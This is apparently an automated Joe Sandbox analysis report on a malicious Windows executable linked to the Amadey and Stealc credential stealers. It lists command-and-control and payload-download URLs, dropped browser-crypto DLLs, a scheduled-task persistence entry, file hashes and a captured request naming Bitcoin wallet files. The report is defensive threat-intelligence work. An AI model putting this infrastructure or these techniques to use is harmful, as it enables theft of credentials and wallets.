C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\Documents\KKFBAAFCGI.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.43/Zu7JuNko/index.php2D	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpE8	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpfi	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllQ	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php/b	100%	Avira URL Cloud	malware
http://185.215.113.206c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8Kn	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/softokn3.dllK	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/softokn3.dllX	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpzD	100%	Avira URL Cloud	malware
http://185.215.113.206W	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpBLIC=C:	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www3.l.google.com	172.217.19.206	true	false	high
plus.l.google.com	172.217.17.46	true	false	high
play.google.com	172.217.19.206	true	false	high
www.google.com	142.250.181.68	true	false	high
ogs.google.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php2D	skotes.exe, 00000011.00000002.3366797627.0000000001903000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.broofa.com	chromecache_85.5.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2685963034.0000000001138000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpe	file.exe, 00000000.00000002.2684323133.0000000000954000.00000040.00000001.01000000.00000003.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCBGIDGHIECGCBK.0.dr	false		high
https://www.google.com	chromecache_85.5.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2684323133.0000000000954000.00000040.00000001.01000000.00000003.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpfi	file.exe, 00000000.00000002.2685963034.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://apis.google.com	chromecache_85.5.dr	false		high
http://185.215.113.206ta	file.exe, 00000000.00000002.2684323133.0000000000954000.00000040.00000001.01000000.00000003.sdmp	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2688816179.000000000590B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2705978128.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2706321134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php/b	skotes.exe, 00000011.00000002.3366797627.00000000018FC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpE8	skotes.exe, 00000011.00000002.3366797627.0000000001903000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCBGIDGHIECGCBK.0.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	EHJJKFCBGIDGHIECGCBK.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dllK	file.exe, 00000000.00000002.2685963034.0000000001138000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dllX	file.exe, 00000000.00000002.2685963034.0000000001138000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CGHCGIIDGDAKFIEBKFCFIDAFBF.0.dr	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCBGIDGHIECGCBK.0.dr	false		high
http://185.215.113.206W	file.exe, 00000000.00000002.2685963034.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpzD	skotes.exe, 00000011.00000002.3366797627.0000000001903000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_85.5.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8K	file.exe, 00000000.00000002.2684323133.0000000000954000.00000040.00000001.01000000.00000003.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	CGHCGIIDGDAKFIEBKFCFIDAFBF.0.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCBGIDGHIECGCBK.0.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCBGIDGHIECGCBK.0.dr	false		high
http://185.215.113.206c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8Kn	file.exe, 00000000.00000002.2684323133.0000000000954000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/nss3.dllQ	file.exe, 00000000.00000002.2685963034.0000000001154000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org	CGHCGIIDGDAKFIEBKFCFIDAFBF.0.dr	false		high
http://185.215.113.206	file.exe, 00000000.00000002.2685963034.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2684323133.0000000000954000.00000040.00000001.01000000.00000003.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCBGIDGHIECGCBK.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpr	skotes.exe, 00000011.00000002.3366797627.00000000018AB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpBLIC=C:	file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.19.206	www3.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570734
Start date and time:	2024-12-07 22:39:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@38/51@8/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.163, 172.217.17.46, 64.233.162.84, 172.217.21.35, 172.217.19.234, 172.217.19.170, 142.250.181.74, 142.250.181.138, 172.217.17.42, 172.217.17.74, 172.217.19.202, 172.217.19.10, 142.250.181.42, 142.250.181.10, 192.229.221.95, 172.217.21.42, 216.58.208.234, 142.250.181.106, 217.20.58.98
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:40:34	API Interceptor	196x Sleep call for process: file.exe modified
16:42:01	API Interceptor	58x Sleep call for process: skotes.exe modified
22:41:00	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkTortilla, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse	185.215.113.16/well/random.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkTortilla, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
plus.l.google.com	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse	142.250.201.14
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	172.217.17.46
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=71STY9b6g0G2TUGL0emS8wWPU1E0zmFNnR9SsYf1SC9UREdRTE8xR1FQUFdYSk5WRlZXQ0ZJSlg4NS4u	Get hash	malicious	HTMLPhisher	Browse	142.250.181.110

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Stealc	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	IMPORTANT DOCUMENT.html	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 23.218.208.109
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkTortilla, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc	Browse	20.198.118.190
	INVOICES.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	20.198.118.190
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	20.198.118.190
	nwindowsdll.msi	Get hash	malicious	AteraAgent	Browse	20.198.118.190
	upgrade.hta	Get hash	malicious	DarkVision Rat	Browse	20.198.118.190
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.118.190
	file.exe	Get hash	malicious	Unknown	Browse	20.198.118.190
	INQUIRY REQUEST AND PRICES_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	20.198.118.190
	RFQ Order list #2667747.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	20.198.118.190
	Payment Details Ref#577767.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	20.198.118.190

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFHDHJKKJDHJJJJKEGHIDGDHDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGHCGIIDGDAKFIEBKFCFIDAFBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIIECBGDHJJKFIDAKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHJJKFCBGIDGHIECGCBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
